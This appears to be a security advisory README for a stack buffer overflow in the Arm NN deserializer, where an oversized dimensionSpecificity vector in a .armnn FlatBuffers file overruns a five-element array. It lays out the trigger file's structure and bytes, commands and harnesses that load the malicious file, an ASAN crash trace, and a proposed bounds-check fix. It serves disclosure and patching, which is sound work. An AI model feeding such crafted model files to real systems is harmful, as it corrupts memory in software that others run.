Views
No views yet
src/armnnDeserializer/Deserializer.cpp ~lines 746-760Deserializer reads TensorInfo objects from .armnn FlatBuffers
files. When a TensorInfo has a dimensionSpecificity field, the deserializer
copies its elements into a fixed-size stack array:1// Deserializer.cpp ~line 746
2bool dimensionsSpecificity[armnn::MaxNumOfTensorDimensions]; // MaxNumOfTensorDimensions = 5
3std::fill_n(dimensionsSpecificity, armnn::MaxNumOfTensorDimensions, true);
4
5if (tensorPtr->dimensionSpecificity() != nullptr)
6{
7 auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
8 size = dimensionSpecificity->size(); // [1] attacker-controlled
9 for (unsigned int i = 0; i < size; ++i)
10 {
11 dimensionsSpecificity[i] = dimensionSpecificity->Get(i); // [2] NO BOUNDS CHECK
12 }
13}[1], size is taken directly from the FlatBuffers vector length with no
upper-bound check.[2], the loop writes to dimensionsSpecificity[i] for all i < size
without checking i < MaxNumOfTensorDimensions (5).dimensionSpecificity contains ≥ 6 elements, the write at index 5 goes
past the end of the 5-element stack array, corrupting adjacent stack memory.Verifier validates byte-level integrity (offsets,
alignment, vector byte lengths), but has no knowledge of application-level
semantic constraints like MaxNumOfTensorDimensions = 5. A file with a
6-element dimensionSpecificity vector is structurally valid FlatBuffers and
passes the Verifier without triggering any error.malicious.armnn — 436-byte FlatBuffers file
SerializedGraph
layers: [
AnyLayer { layer_type=InputLayer(9), layer=InputLayer {
base: BindableLayerBase {
base: LayerBase { index=0, name="input", type=Input }
layerBindingId: 0
}
outputSlots: [ OutputSlot {
index: 0
tensorInfo: TensorInfo {
dimensions: [1] <- 1 dimension
dataType: Float32
dimensionality: 1
dimensionSpecificity: [1,1,1,1,1,1] <- 6 elements (TRIGGER)
}
}]
}}
AnyLayer { layer_type=OutputLayer(11), layer=OutputLayer {
base: BindableLayerBase {
base: LayerBase { index=1, name="output", type=Output }
layerBindingId: 1
}
inputSlots: [ InputSlot {
index: 0
connection: { sourceLayerIndex=0, outputSlotIndex=0 }
}]
}}
]
inputIds: [0]
outputIds: [1]dimensionSpecificity vector is embedded at buffer offset 232:
06 00 00 00 01 01 01 01 01 011source /tmp/mlresearch/bin/activate
2pip install flatbuffers
3python3 poc_armnn_dimspec.py
4# Outputs: malicious.armnn1import pyarmnn as ann
2parser = ann.IDeserializer.Create()
3parser.CreateNetworkFromBinaryFile("malicious.armnn") # crashes here1#include <armnnDeserializer/IDeserializer.hpp>
2int main() {
3 auto parser = armnnDeserializer::IDeserializer::Create();
4 parser->CreateNetworkFromBinaryFile("malicious.armnn"); // OOB write
5}./UnitTests --run_test=DeserializeNetwork/LoadsFromFile -- malicious.armnn==ASAN: stack-buffer-overflow on address ...
WRITE of size 1 at offset 5 of 5-element array dimensionsSpecificity
#0 armnnDeserializer::Deserializer::ToTensorInfo(...)
Deserializer.cpp:7561if (tensorPtr->dimensionSpecificity() != nullptr)
2{
3 auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
4 size = dimensionSpecificity->size();
5
6 // FIX: reject files with oversized dimensionSpecificity
7 if (size > armnn::MaxNumOfTensorDimensions)
8 {
9 throw ParseException(
10 fmt::format("TensorInfo has {} dimensionSpecificity entries; "
11 "maximum is {}.",
12 size, armnn::MaxNumOfTensorDimensions));
13 }
14
15 for (unsigned int i = 0; i < size; ++i)
16 {
17 dimensionsSpecificity[i] = dimensionSpecificity->Get(i);
18 }
19}std::vector and
perform a runtime resize, or use the incoming size with std::min:1size = std::min(dimensionSpecificity->size(),
2 static_cast<flatbuffers::uoffset_t>(armnn::MaxNumOfTensorDimensions));| File | Description |
|---|---|
poc_armnn_dimspec.py | Python script that generates the malicious .armnn file |
malicious.armnn | Pre-generated 436-byte malicious FlatBuffers model file |
README.md | This document |
src/armnnDeserializer/Deserializer.cppsrc/armnnSerializer/ArmnnSchema.fbsarmnn::MaxNumOfTensorDimensions defined in include/armnn/Types.hpp as 5